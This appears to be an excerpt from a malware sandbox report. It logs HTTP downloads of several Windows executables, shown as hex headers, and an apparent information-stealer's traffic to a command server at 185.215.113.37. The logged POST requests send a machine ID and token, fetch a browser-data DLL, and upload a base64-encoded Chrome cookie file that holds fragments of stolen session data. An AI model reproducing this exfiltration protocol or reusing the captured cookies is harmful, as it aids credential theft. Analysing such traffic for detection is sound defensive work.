0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 9c 00 00 00 40 0d 00 00 9e 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 92 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 23 Oct 2024 23:10:30 GMTContent-Type: application/octet-streamContent-Length: 314368Last-Modified: Sun, 29 Sep 2024 08:19:54 GMTConnection: keep-aliveETag: "66f90daa-4cc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 f0 69 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 26 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 aa 02 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 25 00 e0 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 04 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8f cc 01 00 00 10 00 00 00 ce 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 8c cf 00 00 00 e0 01 00 00 d0 00 00 00 d2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 a4 03 23 00 00 b0 02 00 00 e4 01 00 00 a2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 9e 45 00 00 00 c0 25 00 00 46 00 00 00 86 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 23 Oct 2024 23:10:45 GMTContent-Type: application/octet-streamContent-Length: 1915392Last-Modified: Wed, 23 Oct 2024 22:45:47 GMTConnection: keep-aliveETag: "67197c9b-1d3a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 60 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 4c 00 00 04 00 00 8e 93 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 4f 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 4e 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 2b 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 73 66 71 71 79 67 79 00 20 1a 00 00 30 32 00 00 20 1a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 65 66 6e 66 64 78 6e 00 10 00 00 00 50 4c 00 00 04 00 00 00 14 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 4c 00 00 22 00 00 00 18 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 23 Oct 2024 23:10:50 GMTContent-Type: application/octet-streamContent-Length: 1809408Last-Modified: Wed, 23 Oct 2024 22:45:40 GMTConnection: keep-aliveETag: "67197c94-1b9c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 40 68 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 68 00 00 04 00 00 e1 5d 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 10 29 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 69 73 64 63 61 74 61 00 40 19 00 00 f0 4e 00 00 3a 19 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 61 7a 75 78 76 6b 70 00 10 00 00 00 30 68 00 00 04 00 00 00 76 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 40 68 00 00 22 00 00 00 7a 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 23 Oct 2024 23:10:52 GMTContent-Type: application/octet-streamContent-Length: 2777088Last-Modified: Wed, 23 Oct 2024 21:59:29 GMTConnection: keep-aliveETag: "671971c1-2a6000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 4a 78 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 67 6b 73 76 6b 6d 7a 79 00 00 2a 00 00 a0 00 00 00 00 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 69 67 69 73 6c 6e 65 00 20 00 00 00 a0 2a 00 00 04 00 00 00 3a 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 c0 2a 00 00 22 00 00 00 3e 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

HTTP GET or POST without a user agent

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGDHIDAAFHIIDGDBFIEHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 47 44 48 49 44 41 41 46 48 49 49 44 47 44 42 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 46 36 30 36 38 42 39 44 35 41 32 36 39 39 32 39 33 31 33 30 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 48 49 44 41 41 46 48 49 49 44 47 44 42 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 48 49 44 41 41 46 48 49 49 44 47 44 42 46 49 45 2d 2d 0d 0a Data Ascii: ------ECGDHIDAAFHIIDGDBFIEContent-Disposition: form-data; name="hwid"BF6068B9D5A2699293130------ECGDHIDAAFHIIDGDBFIEContent-Disposition: form-data; name="build"doma------ECGDHIDAAFHIIDGDBFIE--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHIJDHIDBGHJKECBFIIDHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 49 4a 44 48 49 44 42 47 48 4a 4b 45 43 42 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 65 64 62 61 33 61 66 31 37 61 39 61 39 35 30 62 39 30 33 65 62 65 62 63 35 63 32 31 36 37 66 35 33 30 61 36 34 31 31 66 66 30 30 33 61 34 32 63 66 39 32 39 32 32 34 65 31 62 39 34 61 30 34 38 39 35 63 30 66 37 33 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 4a 44 48 49 44 42 47 48 4a 4b 45 43 42 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 4a 44 48 49 44 42 47 48 4a 4b 45 43 42 46 49 49 44 2d 2d 0d 0a Data Ascii: ------DHIJDHIDBGHJKECBFIIDContent-Disposition: form-data; name="token"5edba3af17a9a950b903ebebc5c2167f530a6411ff003a42cf929224e1b94a04895c0f73------DHIJDHIDBGHJKECBFIIDContent-Disposition: form-data; name="message"browsers------DHIJDHIDBGHJKECBFIID--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAECFHJEBAAFIEBGHIIEHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 45 43 46 48 4a 45 42 41 41 46 49 45 42 47 48 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 65 64 62 61 33 61 66 31 37 61 39 61 39 35 30 62 39 30 33 65 62 65 62 63 35 63 32 31 36 37 66 35 33 30 61 36 34 31 31 66 66 30 30 33 61 34 32 63 66 39 32 39 32 32 34 65 31 62 39 34 61 30 34 38 39 35 63 30 66 37 33 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 43 46 48 4a 45 42 41 41 46 49 45 42 47 48 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 43 46 48 4a 45 42 41 41 46 49 45 42 47 48 49 49 45 2d 2d 0d 0a Data Ascii: ------BAECFHJEBAAFIEBGHIIEContent-Disposition: form-data; name="token"5edba3af17a9a950b903ebebc5c2167f530a6411ff003a42cf929224e1b94a04895c0f73------BAECFHJEBAAFIEBGHIIEContent-Disposition: form-data; name="message"plugins------BAECFHJEBAAFIEBGHIIE--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGDGHCAAKECFHJKFIJKHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 47 44 47 48 43 41 41 4b 45 43 46 48 4a 4b 46 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 65 64 62 61 33 61 66 31 37 61 39 61 39 35 30 62 39 30 33 65 62 65 62 63 35 63 32 31 36 37 66 35 33 30 61 36 34 31 31 66 66 30 30 33 61 34 32 63 66 39 32 39 32 32 34 65 31 62 39 34 61 30 34 38 39 35 63 30 66 37 33 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 44 47 48 43 41 41 4b 45 43 46 48 4a 4b 46 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 44 47 48 43 41 41 4b 45 43 46 48 4a 4b 46 49 4a 4b 2d 2d 0d 0a Data Ascii: ------HDGDGHCAAKECFHJKFIJKContent-Disposition: form-data; name="token"5edba3af17a9a950b903ebebc5c2167f530a6411ff003a42cf929224e1b94a04895c0f73------HDGDGHCAAKECFHJKFIJKContent-Disposition: form-data; name="message"fplugins------HDGDGHCAAKECFHJKFIJK--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAKFCGIJKJKFHIDHIIIEHost: 185.215.113.37Content-Length: 5895Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBAAFCAFCBKFHJJJKKFHHost: 185.215.113.37Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 65 64 62 61 33 61 66 31 37 61 39 61 39 35 30 62 39 30 33 65 62 65 62 63 35 63 32 31 36 37 66 35 33 30 61 36 34 31 31 66 66 30 30 33 61 34 32 63 66 39 32 39 32 32 34 65 31 62 39 34 61 30 34 38 39 35 63 30 66 37 33 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4d 54 45 32 4d 54 55 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 51 74 4d 54 4d 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 4d 77 4f 44 45 31 43 55 35 4a 52 41 6b 31 4d 54 45 39 52 57 59 31 64 6c 42 47 52 33 63 74 54 56 70 5a 62 7a 56 6f 64 32 55 74 4d 46 52 6f 51 56 5a 7a 62 47 4a 34 59 6d 31 32 5a 46 5a 61 64 32 4e 49 62 6e 46 57 65 6c 64 49 51 56 55 78 4e 48 59 31 4d 30 31 4f 4d 56 5a 32 64 33 5a 52 63 54 68 69 59 56 6c 6d 5a 7a 49 74 53 55 46 30 63 56 70 43 56 6a 56 4f 54 30 77 31 63 6e 5a 71 4d 6b 35 58 53 58 46 79 65 6a 4d 33 4e 31 56 6f 54 47 52 49 64 45 39 6e 52 53 31 30 53 6d 46 43 62 46 56 43 57 55 70 46 61 48 56 48 63 31 46 6b 63 57 35 70 4d 32 39 55 53 6d 63 77 59 6e 4a 78 64 6a 46 6b 61 6d 52 70 54 45 70 35 64 6c 52 54 56 57 68 6b 53 79 31 6a 4e 55 70 58 59 57 52 44 55 33 4e 56 54 46 42 4d 65 6d 68 54 65 43 31 47 4c 54 5a 33 54 32 63 30 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 2d 2d 0d 0a Data Ascii: ------EBAAFCAFCBKFHJJJKKFHContent-Disposition: form-data; name="token"5edba3af17a9a950b903ebebc5c2167f530a6411ff003a42cf929224e1b94a04895c0f73------EBAAFCAFCBKFHJJJKKFHContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------EBAAFCAFCBKFHJJJKKFHContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Y
